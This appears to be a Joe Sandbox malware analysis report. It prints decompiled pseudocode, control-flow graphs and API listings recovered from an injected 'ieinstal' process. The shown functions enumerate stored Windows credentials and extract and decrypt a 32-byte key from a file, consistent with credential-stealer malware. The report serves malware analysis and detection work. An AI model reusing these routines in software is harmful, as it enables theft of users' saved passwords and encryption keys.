                                                                                                                            0x0040e175
                                                                                                                            0x0040e187
                                                                                                                            0x0040e19a
                                                                                                                            0x0040e1a1
                                                                                                                            0x0040e299
                                                                                                                            0x0040e2a8
                                                                                                                            0x0040e1a7
                                                                                                                            0x0040e1b6
                                                                                                                            0x0040e1bd
                                                                                                                            0x0040e1c2
                                                                                                                            0x0040e1c5
                                                                                                                            0x0040e1c8
                                                                                                                            0x0040e1cb
                                                                                                                            0x0040e1ce
                                                                                                                            0x0040e1d5
                                                                                                                            0x0040e1d8
                                                                                                                            0x0040e1df
                                                                                                                            0x0040e1e2
                                                                                                                            0x0040e1e5
                                                                                                                            0x0040e1e8
                                                                                                                            0x0040e1fa
                                                                                                                            0x0040e20e
                                                                                                                            0x0040e217
                                                                                                                            0x0040e219
                                                                                                                            0x0040e21f
                                                                                                                            0x0040e225
                                                                                                                            0x0040e235
                                                                                                                            0x0040e257
                                                                                                                            0x0040e25c
                                                                                                                            0x0040e26b
                                                                                                                            0x0040e26b
                                                                                                                            0x0040e235
                                                                                                                            0x0040e219
                                                                                                                            0x0040e27b
                                                                                                                            0x0040e286
                                                                                                                            0x0040e28b
                                                                                                                            0x0040e290
                                                                                                                            0x0040e294
                                                                                                                            0x00000000
                                                                                                                            0x0040e294

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                                                            • memset.MSVCRT ref: 0040E1BD
                                                                                                                              • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040E28B
                                                                                                                              • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                                                              • Part of subcall function 0040AAE3: wcslen.MSVCRT ref: 0040AAF2
                                                                                                                              • Part of subcall function 0040AAE3: _memicmp.MSVCRT ref: 0040AB20
                                                                                                                            • _snwprintf.MSVCRT ref: 0040E257
                                                                                                                              • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                              • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                                                                                                                              • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                                                                                                                              • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                                                                                                                            • String ID: $ContainerId$Container_%I64d$Containers$Name
                                                                                                                            • API String ID: 3883404497-2982631422
                                                                                                                            • Opcode ID: ee86ceb1a8868696f61c18b459868f6f191fec22ed3334386de773f1dc64ef2d
                                                                                                                            • Instruction ID: de93d03617a61f3aa6bbe184beafcfad76b4f566d35596b706efacabd7485ccb
                                                                                                                            • Opcode Fuzzy Hash: ee86ceb1a8868696f61c18b459868f6f191fec22ed3334386de773f1dc64ef2d
                                                                                                                            • Instruction Fuzzy Hash: 74318272D002196ADF10EFA6DC45ADEB7B8AF04344F1105BFE508B3191DB38AE598F99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040BDB0 Relevance: 13.7, APIs: 9, Instructions: 151COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 737 40bdb0-40bdce call 404363 740 40bf63-40bf6f call 40440c 737->740 741 40bdd4-40bddd 737->741 742 40bdee 741->742 743 40bddf-40bdec CredEnumerateW 741->743 745 40bdf0-40bdf2 742->745 743->745 745->740 747 40bdf8-40be18 call 40b2cc wcslen 745->747 750 40bf5d-40bf60 LocalFree 747->750 751 40be1e-40be20 747->751 750->740 751->750 752 40be26-40be42 _wcsncoll 751->752 753 40be48-40be77 call 40bd5d call 404423 752->753 754 40bf4e-40bf57 752->754 753->754 759 40be7d-40bea3 memset 753->759 754->750 754->751 760 40bea5 759->760 761 40bea7-40beea memcpy 759->761 760->761 762 40bf11-40bf2d wcschr 761->762 763 40beec-40bf06 call 40b2cc _wcsnicmp 761->763 765 40bf38-40bf48 LocalFree 762->765 766 40bf2f-40bf35 762->766 763->762 768 40bf08-40bf0e 763->768 765->754 766->765 768->762
                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E0040BDB0(void* __ecx, void* __eflags, intOrPtr* _a4) {
				signed int _v12;
				char _v16;
				int _v20;
				void* _v24;
				int _v28;
				int _v32;
				wchar_t* _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				long* _v72;
				wchar_t* _v76;
				char _v80;
				char _v88;
				int _v92;
				int _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				void* _v108;
				char _v116;
				short _v122;
				void _v630;
				void _v632;
				void* __esi;
				void* _t69;
				wchar_t* _t70;
				int _t71;
				void* _t73;
				int _t86;
				char _t94;
				wchar_t* _t95;
				wchar_t* _t96;
				void* _t101;
				void* _t107;
				void* _t108;
				intOrPtr _t119;
				void* _t120;
				void* _t121;

				_t108 = __ecx;
				_v96 = 0;
				_v92 = 0;
				if(E00404363( &_v116, __eflags) == 0) {
					L19:
					return E0040440C( &_v116);
				}
				_v20 = 0;
				_v16 = 0;
				if(_v104 == 0) {
					_t69 = 0;
					__eflags = 0;
				} else {
					_t69 = _v100(0, 0,  &_v16,  &_v20);
				}
				_t125 = _t69;
				if(_t69 == 0) {
					goto L19;
				} else {
					_t70 = E0040B2CC(_t108, _t125, 0x214);
					_v36 = _t70;
					_t71 = wcslen(_t70);
					_t107 = 1;
					_v32 = _t71;
					_v12 = 0;
					if(_v16 <= 0) {
						L18:
						LocalFree(_v20);
						goto L19;
					}
					while(_t107 != 0) {
						_t73 = _v20;
						_t119 =  *((intOrPtr*)(_t73 + _v12 * 4));
						0x4466b2( *((intOrPtr*)(_t119 + 8)), _v36, _v32);
						_t120 = _t120 + 0xc;
						_t128 = _t73;
						if(_t73 == 0) {
							E0040BD5D(_t128,  &_v88);
							_v40 =  *((intOrPtr*)(_t119 + 0x1c));
							_v44 =  *((intOrPtr*)(_t119 + 0x18));
							if(E00404423(0x45dbd4,  &_v44,  &_v88, 1,  &_v28) != 0) {
								_v632 = 0;
								memset( &_v630, 0, 0x1fe);
								_t86 = _v28;
								_t121 = _t120 + 0xc;
								if(_t86 > 0x1fa) {
									_t86 = 0x1fa;
								}
								memcpy( &_v632, _v24, _t86);
								_t112 =  *((intOrPtr*)(_t119 + 0xc));
								_v56 =  *((intOrPtr*)(_t119 + 0x20));
								_v60 =  *((intOrPtr*)(_t119 + 4));
								_v52 =  *((intOrPtr*)(_t119 + 0x10));
								_v48 =  *((intOrPtr*)(_t119 + 0x14));
								_v64 =  *((intOrPtr*)(_t119 + 0x2c));
								_t94 =  *((intOrPtr*)(_t119 + 8));
								_t120 = _t121 + 0xc;
								_t131 = _t94;
								_v122 = 0;
								_v80 = _t94;
								_v68 =  *((intOrPtr*)(_t119 + 0xc));
								if(_t94 != 0) {
									_t101 = E0040B2CC(_t112, _t131, 0x215);
									0x44666a( *((intOrPtr*)(_t119 + 8)), _t101, 0x12);
									_t120 = _t120 + 0xc;
									if(_t101 == 0) {
										_v80 =  *((intOrPtr*)(_t119 + 8)) + 0x24;
									}
								}
								_t95 =  &_v632;
								_v76 = _t95;
								_v72 = 0x44e518;
								_t96 = wcschr(_t95, 0x3a);
								if(_t96 != 0) {
									 *_t96 = 0;
									_v72 =  &(_t96[0]);
								}
								_t107 =  *((intOrPtr*)( *_a4))( &_v80);
								LocalFree(_v24);
							}
						}
						_v12 = _v12 + 1;
						if(_v12 < _v16) {
							continue;
						}
						goto L18;
					}
					goto L18;
				}
			}














































                                                                                                                            0x0040bdb0
                                                                                                                            0x0040bdc1
                                                                                                                            0x0040bdc4
                                                                                                                            0x0040bdce
                                                                                                                            0x0040bf63
                                                                                                                            0x0040bf6f
                                                                                                                            0x0040bf6f
                                                                                                                            0x0040bdd7
                                                                                                                            0x0040bdda
                                                                                                                            0x0040bddd
                                                                                                                            0x0040bdee
                                                                                                                            0x0040bdee
                                                                                                                            0x0040bddf
                                                                                                                            0x0040bde9
                                                                                                                            0x0040bde9
                                                                                                                            0x0040bdf0
                                                                                                                            0x0040bdf2
                                                                                                                            0x00000000
                                                                                                                            0x0040bdf8
                                                                                                                            0x0040bdfd
                                                                                                                            0x0040be03
                                                                                                                            0x0040be06
                                                                                                                            0x0040be0d
                                                                                                                            0x0040be12
                                                                                                                            0x0040be15
                                                                                                                            0x0040be18
                                                                                                                            0x0040bf5d
                                                                                                                            0x0040bf60
                                                                                                                            0x00000000
                                                                                                                            0x0040bf60
                                                                                                                            0x0040be1e
                                                                                                                            0x0040be29
                                                                                                                            0x0040be2f
                                                                                                                            0x0040be38
                                                                                                                            0x0040be3d
                                                                                                                            0x0040be40
                                                                                                                            0x0040be42
                                                                                                                            0x0040be4c
                                                                                                                            0x0040be54
                                                                                                                            0x0040be5a
                                                                                                                            0x0040be77
                                                                                                                            0x0040be8a
                                                                                                                            0x0040be91
                                                                                                                            0x0040be96
                                                                                                                            0x0040be9e
                                                                                                                            0x0040bea3
                                                                                                                            0x0040bea5
                                                                                                                            0x0040bea5
                                                                                                                            0x0040beb2
                                                                                                                            0x0040beba
                                                                                                                            0x0040bebd
                                                                                                                            0x0040bec3
                                                                                                                            0x0040bec9
                                                                                                                            0x0040becf
                                                                                                                            0x0040bed5
                                                                                                                            0x0040bed8
                                                                                                                            0x0040bedb
                                                                                                                            0x0040bede
                                                                                                                            0x0040bee0
                                                                                                                            0x0040bee4
                                                                                                                            0x0040bee7
                                                                                                                            0x0040beea
                                                                                                                            0x0040bef1
                                                                                                                            0x0040befc
                                                                                                                            0x0040bf01
                                                                                                                            0x0040bf06
                                                                                                                            0x0040bf0e
                                                                                                                            0x0040bf0e
                                                                                                                            0x0040bf06
                                                                                                                            0x0040bf11
                                                                                                                            0x0040bf1a
                                                                                                                            0x0040bf1d
                                                                                                                            0x0040bf24
                                                                                                                            0x0040bf2d
                                                                                                                            0x0040bf2f
                                                                                                                            0x0040bf35
                                                                                                                            0x0040bf35
                                                                                                                            0x0040bf46
                                                                                                                            0x0040bf48
                                                                                                                            0x0040bf48
                                                                                                                            0x0040be77
                                                                                                                            0x0040bf4e
                                                                                                                            0x0040bf57
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040bf57
                                                                                                                            0x00000000
                                                                                                                            0x0040be1e

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 00404398
                                                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043AC
                                                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043BF
                                                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043D3
                                                                                                                              • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043E7
                                                                                                                            • CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 0040BDE9
                                                                                                                            • wcslen.MSVCRT ref: 0040BE06
                                                                                                                            • _wcsncoll.MSVCRT ref: 0040BE38
                                                                                                                            • memset.MSVCRT ref: 0040BE91
                                                                                                                            • memcpy.MSVCRT ref: 0040BEB2
                                                                                                                            • _wcsnicmp.MSVCRT ref: 0040BEFC
                                                                                                                            • wcschr.MSVCRT ref: 0040BF24
                                                                                                                            • LocalFree.KERNEL32(?,?,?,?,00000001,?,?,?,00000000,?), ref: 0040BF48
                                                                                                                            • LocalFree.KERNELBASE(?,00000214,?,00000000,?), ref: 0040BF60
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$FreeLocal$CredEnumerate_wcsncoll_wcsnicmpmemcpymemsetwcschrwcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 42676587-0
                                                                                                                            • Opcode ID: 4320d3521706fdf8c6ed48fb05be967b0956d3d4dbd01890db6896aba47bd834
                                                                                                                            • Instruction ID: 79a9ca8399314c5bcb3e205da5602351372edcdcc58f79068602210d8f55f42f
                                                                                                                            • Opcode Fuzzy Hash: 4320d3521706fdf8c6ed48fb05be967b0956d3d4dbd01890db6896aba47bd834
                                                                                                                            • Instruction Fuzzy Hash: 1851E9B5D002099FCF20DFA5C8859AEBBF9FF48304F10452AE919F7251E734A9458F69
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040BB98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 79%
                                                                                                                            			E0040BB98(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				char _v12;
				char* _v16;
				char _v20;
				char _v92;
				char _v164;
				char _v8351;
				void _v8355;
				char _v8356;
				void _v16547;
				char _v16548;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t43;
				void* _t45;
				short* _t51;
				void* _t54;
				short* _t59;
				void* _t67;
				char* _t69;
				void* _t81;
				void* _t84;
				void* _t88;
				void* _t89;
				short* _t95;
				char* _t96;
				void* _t99;
				void* _t104;

				_t112 = __eflags;
				_t81 = __ecx;
				0x44db70();
				_push(_t99);
				_push(_t89);
				E0040CBE1(__eflags);
				 *((intOrPtr*)(_a4 + 0x24)) = 0;
				_t43 = E0040CC26(0, _t89, _t99, _t112,  &_v164, _a8); // executed
				_t113 = _t43;
				if(_t43 == 0) {
					L16:
					return E0040CC0C( &_v164);
				}
				_t45 = E0040CF04( &_v164, _t113); // executed
				_t114 = _t45;
				if(_t45 == 0) {
					goto L16;
				}
				_t88 = E0040CCF0( &_v164, E0040B2CC(_t81, _t114, 0xc1));
				_t115 = _t88;
				if(_t88 == 0) {
					goto L16;
				}
				E0040CBE1(_t115);
				_t82 =  *((intOrPtr*)(_t88 + 4));
				_t51 = E0040A9B5( *((intOrPtr*)(_t88 + 8)),  *((intOrPtr*)(_t88 + 4)));
				_t116 = _t51;
				if(_t51 == 0) {
					_t51 = 0x44e518;
				}
				E0040CCB4( &_v92, _t51);
				_t54 = E0040CF04( &_v92, _t116);
				_t117 = _t54;
				if(_t54 != 0 && E0040CCF0( &_v92, E0040B2CC(_t82, _t117, 0xc2)) != 0) {
					_t59 = E0040A9B5( *((intOrPtr*)(_t57 + 8)),  *((intOrPtr*)(_t57 + 4)));
					_t119 = _t59;
					_t95 = 0x44e518;
					if(_t59 != 0) {
						_t95 = _t59;
					}
					_v16548 = 0;
					memset( &_v16547, 0, 0x1fff);
					_v8356 = 0;
					memset( &_v8355, 0, 0x1fff);
					WideCharToMultiByte(0, 0, _t95, 0xffffffff,  &_v16548, 0xfff, 0, 0);
					_t96 =  &_v8356;
					_t67 = E0040103C( &_v16548, _t96, 0xfff);
					_pop(_t84);
					_t104 = _t67;
					_t69 = _t96;
					0x446658(_t69, E0040B273(_t84, _t119, 0xc3), _t84, 5);
					if(_t69 == 0) {
						asm("stosd");
						_v12 = 0;
						asm("stosd");
						_v16 =  &_v8351;
						_v20 = _t104 + 0xfffffffb;
						if(E00404423(0x45dbd4,  &_v20, 0, 0,  &_v12) != 0 && _v8 != 0) {
							if(_v12 >= 0x20) {
								_t33 = _a4 + 4; // 0x24
								memcpy(_t33, _v8, 0x20);
								 *((intOrPtr*)(_a4 + 0x24)) = 1;
							}
							LocalFree(_v8);
						}
					}
				}
				E0040CC0C( &_v92);
				goto L16;
			}
































                                                                                                                            0x0040bb98
                                                                                                                            0x0040bb98
                                                                                                                            0x0040bba0
                                                                                                                            0x0040bba6
                                                                                                                            0x0040bba7
                                                                                                                            0x0040bbae
                                                                                                                            0x0040bbbb
                                                                                                                            0x0040bbc5
                                                                                                                            0x0040bbca
                                                                                                                            0x0040bbcc
                                                                                                                            0x0040bd4b
                                                                                                                            0x0040bd5a
                                                                                                                            0x0040bd5a
                                                                                                                            0x0040bbd8
                                                                                                                            0x0040bbdd
                                                                                                                            0x0040bbdf
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040bbf5
                                                                                                                            0x0040bbf7
                                                                                                                            0x0040bbf9
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040bc02
                                                                                                                            0x0040bc07
                                                                                                                            0x0040bc0d
                                                                                                                            0x0040bc12
                                                                                                                            0x0040bc19
                                                                                                                            0x0040bc1b
                                                                                                                            0x0040bc1b
                                                                                                                            0x0040bc21
                                                                                                                            0x0040bc29
                                                                                                                            0x0040bc2e
                                                                                                                            0x0040bc30
                                                                                                                            0x0040bc54
                                                                                                                            0x0040bc59
                                                                                                                            0x0040bc5b
                                                                                                                            0x0040bc5d
                                                                                                                            0x0040bc5f
                                                                                                                            0x0040bc5f
                                                                                                                            0x0040bc6f
                                                                                                                            0x0040bc75
                                                                                                                            0x0040bc86
                                                                                                                            0x0040bc8c
                                                                                                                            0x0040bca8
                                                                                                                            0x0040bcaf
                                                                                                                            0x0040bcbb
                                                                                                                            0x0040bcc0
                                                                                                                            0x0040bcc9
                                                                                                                            0x0040bcd3
                                                                                                                            0x0040bcd6
                                                                                                                            0x0040bce0
                                                                                                                            0x0040bce5
                                                                                                                            0x0040bce6
                                                                                                                            0x0040bcec
                                                                                                                            0x0040bcf3
                                                                                                                            0x0040bd08
                                                                                                                            0x0040bd12
                                                                                                                            0x0040bd1d
                                                                                                                            0x0040bd27
                                                                                                                            0x0040bd2b
                                                                                                                            0x0040bd33
                                                                                                                            0x0040bd33
                                                                                                                            0x0040bd3d
                                                                                                                            0x0040bd3d
                                                                                                                            0x0040bd12
                                                                                                                            0x0040bce0
                                                                                                                            0x0040bd46
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                              • Part of subcall function 0040CC26: FindCloseChangeNotification.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                                                              • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                                                                                                                            • memset.MSVCRT ref: 0040BC75
                                                                                                                            • memset.MSVCRT ref: 0040BC8C
                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,0044E518,000000FF,?,00000FFF,00000000,00000000,?,?,?,0040B7D4,?,?), ref: 0040BCA8
                                                                                                                            • memcmp.MSVCRT ref: 0040BCD6
                                                                                                                            • memcpy.MSVCRT ref: 0040BD2B
                                                                                                                            • LocalFree.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD3D
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$ByteChangeCharCloseFileFindFreeLocalMultiNotificationSizeWide_wcsicmpmemcmpmemcpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 509814883-3916222277
                                                                                                                            • Opcode ID: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                                                            • Instruction ID: 00a8249a540342db609c93f8c1f67c79963b4134db5221072d0e6ece1bb2d715
                                                                                                                            • Opcode Fuzzy Hash: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                                                            • Instruction Fuzzy Hash: 3F41B372900219ABDB10ABA5CC85ADEB7ACEF04314F01057BB509F7292D7789E45CA99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041837F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140fileCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 822 41837f-4183bf 823 4183c1-4183cc call 418197 822->823 824 4183dc-4183ec call 418160 822->824 829 4183d2-4183d8 823->829 830 418517-41851d 823->830 831 4183f6-41840b 824->831 832 4183ee-4183f1 824->832 829->824 833 418417-418423 831->833 834 41840d-418415 831->834 832->830 835 418427-418442 call 41739b 833->835 834->835 838 418444-41845d CreateFileW 835->838 839 41845f-418475 CreateFileA 835->839 840 418477-41847c 838->840 839->840 841 4184c2-4184c7 840->841 842 41847e-418495 GetLastError ??3@YAXPAX@Z 840->842 845 4184d5-418501 memset call 418758 841->845 846 4184c9-4184d3 841->846 843 4184b5-4184c0 call 444706 842->843 844 418497-4184b3 call 41837f 842->844 843->830 844->830 852 418506-418515 ??3@YAXPAX@Z 845->852 846->845 852->830
                                                                                                                            C-Code - Quality: 65%
                                                                                                                            			E0041837F(void* __edx, intOrPtr _a4, intOrPtr _a8, void* _a12, signed int _a16, intOrPtr* _a20) {
				char _v268;
				intOrPtr _v272;
				long _v276;
				signed int _v280;
				WCHAR* _v284;
				long _v288;
				void* __ebx;
				void* __edi;
				void* __ebp;
				WCHAR* _t52;
				long _t55;
				intOrPtr _t56;
				void* _t57;
				intOrPtr* _t58;
				intOrPtr _t61;
				long _t62;
				signed int _t69;
				long _t72;
				int _t73;
				intOrPtr _t75;
				intOrPtr _t80;
				void* _t83;
				signed int _t85;
				signed int _t86;
				long _t89;
				signed int _t90;
				char* _t92;
				void* _t94;
				void* _t96;

				_t83 = __edx;
				_t75 = _a8;
				_t94 = _a12;
				 *(_t94 + 8) =  *(_t94 + 8) | 0xffffffff;
				_t85 = _a16;
				_v288 = _t85 & 0x00000010;
				_t86 = _t85 & 0x00000002;
				_t69 = _t85 & 0x00000008;
				_v272 = _t75;
				_v276 = _t85 & 0x00000004;
				_v280 = _t86;
				if(_t75 != 0) {
					L3:
					_t52 = E00418160(_t69, _t96, _t104, _v272);
					_v284 = _t52;
					if(_t52 != 0) {
						asm("sbb edi, edi");
						_t89 = ( ~_t86 & 0x40000000) + 0x80000000;
						__eflags = _v288;
						if(_v288 == 0) {
							__eflags = _v276;
							_t55 = (0 | _v276 != 0x00000000) + 3;
							__eflags = _t55;
							_v288 = _t55;
						} else {
							_v288 = 1;
						}
						asm("sbb ebx, ebx");
						_t72 = ( ~_t69 & 0x04000082) + 0x80;
						_v276 = _t72;
						_t56 = E0041739B();
						__eflags = _t56;
						if(_t56 == 0) {
							_t25 =  &_v288; // 0x417ce3
							_t57 = CreateFileA(_v284, _t89, 3, 0,  *_t25, _t72, 0);
							_t73 = 0;
							__eflags = 0;
						} else {
							_t73 = 0;
							_t57 = CreateFileW(_v284, _t89, 3, 0, _v288, _v276, 0); // executed
						}
						_t90 = _t57;
						__eflags = _t90 - 0xffffffff;
						if(_t90 != 0xffffffff) {
							_t58 = _a20;
							__eflags = _t58 - _t73;
							if(__eflags != 0) {
								__eflags = _v280 - _t73;
								_t80 = (0 | _v280 != _t73) + 1;
								__eflags = _t80;
								 *_t58 = _t80;
							}
							memset(_t94, _t73, 0x24);
							 *_t94 = 0x44f120;
							 *(_t94 + 8) = _t90;
							 *(_t94 + 0x10) = _t73;
							 *((intOrPtr*)(_t94 + 4)) = _a4;
							 *(_t94 + 0x18) = _t73;
							 *((intOrPtr*)(_t94 + 0x1c)) = _a8;
							_t61 = E00418758(_a8, _t83, __eflags, _a4, _v272); // executed
							 *((intOrPtr*)(_t94 + 0x14)) = _t61;
							0x4466a0(_v284);
							_t62 = 0;
							__eflags = 0;
						} else {
							_t62 = GetLastError();
							 *(_t94 + 0x10) = _t62;
							0x4466a0(_v284);
							__eflags = _v280 - _t73;
							if(_v280 == _t73) {
								0x444706(0x7c79);
							} else {
								_t62 = E0041837F(_t83, _a4, _a8, _t94, _a16 & 0xfffffff9 | 0x00000001, _a20);
							}
						}
					} else {
						_t62 = 7;
					}
					L18:
					return _t62;
				}
				_t92 =  &_v268;
				_t62 = E00418197(_t92);
				_t104 = _t62;
				if(_t62 != 0) {
					goto L18;
				} else {
					_t86 = _v280;
					_v272 = _t92;
					goto L3;
				}
			}
































                                                                                                                            0x0041837f
                                                                                                                            0x0041838b
                                                                                                                            0x00418390
                                                                                                                            0x00418393
                                                                                                                            0x00418398
                                                                                                                            0x004183a0
                                                                                                                            0x004183ab
                                                                                                                            0x004183ae
                                                                                                                            0x004183b3
                                                                                                                            0x004183b7
                                                                                                                            0x004183bb
                                                                                                                            0x004183bf
                                                                                                                            0x004183dc
                                                                                                                            0x004183e0
                                                                                                                            0x004183e8
                                                                                                                            0x004183ec
                                                                                                                            0x004183f8
                                                                                                                            0x00418400
                                                                                                                            0x00418406
                                                                                                                            0x0041840b
                                                                                                                            0x00418419
                                                                                                                            0x00418420
                                                                                                                            0x00418420
                                                                                                                            0x00418423
                                                                                                                            0x0041840d
                                                                                                                            0x0041840d
                                                                                                                            0x0041840d
                                                                                                                            0x00418429
                                                                                                                            0x00418431
                                                                                                                            0x00418437
                                                                                                                            0x0041843b
                                                                                                                            0x00418440
                                                                                                                            0x00418442
                                                                                                                            0x00418462
                                                                                                                            0x0041846f
                                                                                                                            0x00418475
                                                                                                                            0x00418475
                                                                                                                            0x00418444
                                                                                                                            0x00418444
                                                                                                                            0x00418457
                                                                                                                            0x00418457
                                                                                                                            0x00418477
                                                                                                                            0x00418479
                                                                                                                            0x0041847c
                                                                                                                            0x004184c2
                                                                                                                            0x004184c5
                                                                                                                            0x004184c7
                                                                                                                            0x004184cb
                                                                                                                            0x004184d2
                                                                                                                            0x004184d2
                                                                                                                            0x004184d3
                                                                                                                            0x004184d3
                                                                                                                            0x004184d9
                                                                                                                            0x004184eb
                                                                                                                            0x004184f2
                                                                                                                            0x004184f5
                                                                                                                            0x004184f8
                                                                                                                            0x004184fb
                                                                                                                            0x004184fe
                                                                                                                            0x00418501
                                                                                                                            0x0041850a
                                                                                                                            0x0041850d
                                                                                                                            0x00418515
                                                                                                                            0x00418515
                                                                                                                            0x0041847e
                                                                                                                            0x0041847e
                                                                                                                            0x00418488
                                                                                                                            0x0041848b
                                                                                                                            0x00418490
                                                                                                                            0x00418495
                                                                                                                            0x004184ba
                                                                                                                            0x00418497
                                                                                                                            0x004184ab
                                                                                                                            0x004184b0
                                                                                                                            0x00418495
                                                                                                                            0x004183ee
                                                                                                                            0x004183f0
                                                                                                                            0x004183f0
                                                                                                                            0x00418517
                                                                                                                            0x0041851d
                                                                                                                            0x0041851d
                                                                                                                            0x004183c1
                                                                                                                            0x004183c5
                                                                                                                            0x004183ca
                                                                                                                            0x004183cc
                                                                                                                            0x00000000
                                                                                                                            0x004183d2
                                                                                                                            0x004183d4
                                                                                                                            0x004183d8
                                                                                                                            0x00000000
                                                                                                                            0x004183d8

                                                                                                                            APIs
                                                                                                                            • CreateFileW.KERNELBASE(?,-7FBE829D,00000003,00000000,?,?,00000000), ref: 00418457
                                                                                                                            • CreateFileA.KERNEL32(?,-7FBE829D,00000003,00000000,|A,00417CE3,00000000), ref: 0041846F
                                                                                                                            • GetLastError.KERNEL32 ref: 0041847E
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0041848B
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CreateFile$??3@ErrorLast
                                                                                                                            • String ID: |A
                                                                                                                            • API String ID: 1407640353-1717621600
                                                                                                                            • Opcode ID: 71e54c5a76e1aa47306962d20987635381793afdf9523ab11eb51246902c22e1
                                                                                                                            • Instruction ID: 73005d91fce95ddd83c4435d1527c7398ec28b7193468e33704956b81d718a95
                                                                                                                            • Opcode Fuzzy Hash: 71e54c5a76e1aa47306962d20987635381793afdf9523ab11eb51246902c22e1
                                                                                                                            • Instruction Fuzzy Hash: 50412472508306AFD710CF25DC4179BBBE5FF84328F14492EF8A492290EB78D9448B96
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00412465 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88windowCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E00412465() {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t31;
				void* _t32;
				struct HICON__* _t36;
				void* _t47;
				void* _t48;
				void* _t54;
				void* _t55;
				intOrPtr* _t58;
				void* _t59;

				_t58 =  *((intOrPtr*)(_t59 + 0xc));
